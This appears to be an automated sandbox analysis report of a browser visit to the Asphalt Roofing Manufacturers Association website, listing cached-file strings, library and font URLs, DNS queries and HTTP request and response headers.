Source: chromecache_540.2.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var h=jA(a,c,e);M(121);if("https://www.facebook.com/tr/"===h["gtm.elementUrl"])return M(122),!0;if(d&&f){for(var m=Jb(b,g.length),n=0;n<g.length;++n)g[n](h,m);return m.done}for(var p=0;p<g.length;++p)g[p](h,function(){});return!0},mA=function(){var a=[],b=function(c){return pb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_540.2.dr	String found in binary or memory: e\|\|f\|\|g.length\|\|h.length))return;var n={Tg:d,Rg:e,Sg:f,Dh:g,Eh:h,xe:m,zb:b},p=D.YT,q=function(){FC(n)};if(p)return p.ready&&p.ready(q),b;var r=D.onYouTubeIframeAPIReady;D.onYouTubeIframeAPIReady=function(){r&&r();q()};I(function(){for(var t=H.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(IC(w,"iframe_api")\|\|IC(w,"player_api"))return b}for(var x=H.getElementsByTagName("iframe"),y=x.length,A=0;A<y;A++)if(!zC&&GC(x[A],n.xe))return Ic("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_540.2.dr	String found in binary or memory: var KB=function(a,b,c,d,e){var f=Kz("fsl",c?"nv.mwt":"mwt",0),g;g=c?Kz("fsl","nv.ids",[]):Kz("fsl","ids",[]);if(!g.length)return!0;var h=Gz(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);M(121);if("https://www.facebook.com/tr/"===m)return M(122),!0;h["gtm.elementUrl"]=m;h["gtm.formCanceled"]=c;null!=a.getAttribute("name")&&(h["gtm.interactedFormName"]=a.getAttribute("name"));e&&(h["gtm.formSubmitElement"]=e,h["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!vy(h,wy(b, equals www.facebook.com (Facebook)

Source: unknown

DNS traffic detected: queries for: www.asphaltroofing.org

Source: unknown

HTTP traffic detected: POST /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveContent-Length: 18sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.asphaltroofing.orgSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:53:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: MISS
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:53:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: MISS
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Tue, 23 Apr 2024 14:54:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Sucuri-ID: 14002X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: upgrade-insecure-requests;Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Sucuri-Cache: HIT

Source: chromecache_542.2.dr	String found in binary or memory: http://960.gs/
Source: chromecache_534.2.dr, chromecache_521.2.dr	String found in binary or memory: http://bqworks.com/
Source: chromecache_534.2.dr, chromecache_521.2.dr	String found in binary or memory: http://bqworks.com/slider-pro/
Source: chromecache_408.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/11820
Source: chromecache_234.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_408.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/13335
Source: chromecache_234.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/13378
Source: chromecache_377.2.dr	String found in binary or memory: http://daneden.me/animate
Source: chromecache_409.2.dr	String found in binary or memory: http://dean.edwards.name/weblog/2006/03/base/)
Source: chromecache_234.2.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_352.2.dr, chromecache_300.2.dr	String found in binary or memory: http://dev7studios.com
Source: chromecache_409.2.dr	String found in binary or memory: http://developer.yahoo.com/yui/)
Source: chromecache_409.2.dr	String found in binary or memory: http://developer.yahoo.com/yui/license.html).
Source: chromecache_339.2.dr	String found in binary or memory: http://digitalbush.com/projects/masked-input-plugin/#license)
Source: chromecache_397.2.dr	String found in binary or memory: http://docs.jquery.com/License.
Source: chromecache_472.2.dr	String found in binary or memory: http://docs.python.org/library/functions.html#range).
Source: chromecache_234.2.dr	String found in binary or memory: http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
Source: chromecache_234.2.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_432.2.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_432.2.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_516.2.dr	String found in binary or memory: http://g.co/dev/maps-no-account
Source: chromecache_357.2.dr, chromecache_475.2.dr	String found in binary or memory: http://getbootstrap.com)
Source: chromecache_269.2.dr, chromecache_546.2.dr, chromecache_481.2.dr, chromecache_236.2.dr	String found in binary or memory: http://go.wpbakery.com/licensing
Source: chromecache_397.2.dr	String found in binary or memory: http://jacob.peargrove.com/blog/2006/technical/table-row-offsettop-bug-in-safari/
Source: chromecache_341.2.dr	String found in binary or memory: http://javascript.crockford.com/jsmin.html
Source: chromecache_234.2.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: chromecache_234.2.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_234.2.dr, chromecache_238.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_238.2.dr, chromecache_403.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_368.2.dr, chromecache_244.2.dr	String found in binary or memory: http://jqueryui.com/about)
Source: chromecache_368.2.dr	String found in binary or memory: http://jqueryui.com/themeroller/
Source: chromecache_403.2.dr	String found in binary or memory: http://jqueryui.com/themeroller/?scope=.pt-cv-wrapper&folderName=pt-cv-wrapper&cornerRadiusShadow=8p
Source: chromecache_234.2.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_234.2.dr	String found in binary or memory: http://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_381.2.dr	String found in binary or memory: http://labs.rampinteractive.co.uk/touchSwipe/
Source: chromecache_409.2.dr	String found in binary or memory: http://mad4milk.net/).
Source: chromecache_294.2.dr	String found in binary or memory: http://malsup.com/jquery/block/
Source: chromecache_370.2.dr	String found in binary or memory: http://meyerweb.com/eric/tools/css/reset/
Source: chromecache_409.2.dr	String found in binary or memory: http://mootools.net/developers/)
Source: chromecache_352.2.dr, chromecache_300.2.dr, chromecache_544.2.dr, chromecache_519.2.dr	String found in binary or memory: http://nivo.dev7studios.com
Source: chromecache_377.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_409.2.dr	String found in binary or memory: http://opensource.org/licenses/lgpl-license.php)
Source: chromecache_409.2.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.php)
Source: chromecache_381.2.dr	String found in binary or memory: http://plugins.jquery.com/project/touchSwipe
Source: chromecache_409.2.dr	String found in binary or memory: http://prototypejs.org)
Source: chromecache_409.2.dr	String found in binary or memory: http://qooxdoo.org/)
Source: chromecache_409.2.dr	String found in binary or memory: http://quirksmode.org).
Source: chromecache_361.2.dr	String found in binary or memory: http://remysharp.com/2007/01/25/jquery-tutorial-text-box-hints/
Source: chromecache_403.2.dr	String found in binary or memory: http://rtsinani.github.io/jquery-datepicker-skins/
Source: chromecache_234.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_472.2.dr	String found in binary or memory: http://underscorejs.org
Source: chromecache_234.2.dr	String found in binary or memory: http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_234.2.dr	String found in binary or memory: http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
Source: chromecache_472.2.dr	String found in binary or memory: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
Source: chromecache_372.2.dr	String found in binary or memory: http://wordpress.org/extend/plugins/wp-pagenavi/
Source: chromecache_341.2.dr	String found in binary or memory: http://www.JSON.org/js.html
Source: chromecache_341.2.dr	String found in binary or memory: http://www.JSON.org/json2.js
Source: chromecache_343.2.dr	String found in binary or memory: http://www.alexandre-gomes.com/?p=115
Source: chromecache_475.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_551.2.dr	String found in binary or memory: http://www.apple.com/qtactivex/qtplugin.cab
Source: chromecache_551.2.dr	String found in binary or memory: http://www.apple.com/quicktime/download/
Source: chromecache_516.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_238.2.dr, chromecache_475.2.dr	String found in binary or memory: http://www.contentviewspro.com/
Source: chromecache_343.2.dr	String found in binary or memory: http://www.datatables.net
Source: chromecache_381.2.dr, chromecache_238.2.dr	String found in binary or memory: http://www.github.com/mattbryson
Source: chromecache_361.2.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-3.0.html
Source: chromecache_294.2.dr, chromecache_471.2.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl.html
Source: chromecache_409.2.dr	String found in binary or memory: http://www.gnu.org/licenses/lgpl.html).
Source: chromecache_238.2.dr	String found in binary or memory: http://www.jacklmoore.com/colorbox
Source: chromecache_409.2.dr	String found in binary or memory: http://www.json.org/
Source: chromecache_514.2.dr	String found in binary or memory: http://www.linkedin.com/pub/asphalt-roofing-manufacturers-association/22/865/288
Source: chromecache_508.2.dr	String found in binary or memory: http://www.memberclicks.com/
Source: chromecache_483.2.dr	String found in binary or memory: http://www.no-margin-for-errors.com)
Source: chromecache_544.2.dr, chromecache_294.2.dr, chromecache_519.2.dr, chromecache_471.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_409.2.dr	String found in binary or memory: http://www.robertpenner.com/easing/
Source: chromecache_388.2.dr	String found in binary or memory: http://www.themepunch.com
Source: chromecache_278.2.dr, chromecache_470.2.dr	String found in binary or memory: http://www.webmaster-source.com/wp125-ad-plugin-wordpress/
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: http://www.youtube.com/user/asphaltroofingvideo?feature=watch
Source: chromecache_470.2.dr, chromecache_325.2.dr	String found in binary or memory: https://1.envato.market/OdObz
Source: chromecache_540.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_540.2.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/css/jqueryui.css
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/css/system-messages.css
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/css/themes/base/ui.all.css
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jQueryUIDialogInclude.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jquery-migrate.min.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jquery-ui-custom-elvn-fr.min.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jquery.dataTables.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jquery.min.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/jquery.tablednd-0.5.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/includes/js/json2.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/index.php
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: https://arma1.memberclicks.net/login#/login
Source: chromecache_500.2.dr	String found in binary or memory: https://arma1.memberclicks.net/membership-application#/
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/plugins/system/pc_includes/ajax_1.3.js
Source: chromecache_508.2.dr	String found in binary or memory: https://arma1.memberclicks.net/profile
Source: chromecache_234.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_234.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_472.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=80797
Source: chromecache_234.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_234.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_234.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_299.2.dr, chromecache_540.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_234.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=378607
Source: chromecache_234.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=449857
Source: chromecache_234.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=470258
Source: chromecache_318.2.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_508.2.dr	String found in binary or memory: https://d1azc1qln24ryf.cloudfront.net/2584/MCFrontEnd/style-cf.css?p279bq
Source: chromecache_516.2.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: chromecache_234.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_409.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
Source: chromecache_234.2.dr	String found in binary or memory: https://developer.mozilla.org/en/Security/CSP)
Source: chromecache_295.2.dr	String found in binary or memory: https://developer.paypal.com/docs/archive/checkout/how-to/customize-button/#size
Source: chromecache_295.2.dr	String found in binary or memory: https://developer.paypal.com/docs/checkout/integration-features/customize-button/#size
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/deprecations
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/advanced-markers/migration
Source: chromecache_250.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages
Source: chromecache_321.2.dr, chromecache_345.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/libraries
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: chromecache_516.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: chromecache_250.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/webgl/support
Source: chromecache_424.2.dr	String found in binary or memory: https://feed.chimukappa.com/e.php?m=
Source: chromecache_424.2.dr	String found in binary or memory: https://feed.chimukappa.com/feed.php?v=1712224695&ep=
Source: chromecache_285.2.dr, chromecache_379.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_285.2.dr, chromecache_379.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_508.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:300
Source: chromecache_508.2.dr, chromecache_298.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: chromecache_508.2.dr	String found in binary or memory: https://fonts.googleapis.com/icon?family=Material
Source: chromecache_366.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/materialicons/v142/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_477.2.dr, chromecache_304.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyC0ITw.woff2)
Source: chromecache_477.2.dr, chromecache_304.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCAIT5lu.woff2)
Source: chromecache_477.2.dr, chromecache_304.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCIIT5lu.woff2)
Source: chromecache_477.2.dr, chromecache_304.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCMIT5lu.woff2)
Source: chromecache_477.2.dr, chromecache_304.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyCkIT5lu.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxEIzIFKw.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxFIzIFKw.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxGIzIFKw.woff2)
Source: chromecache_477.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxHIzIFKw.woff2)
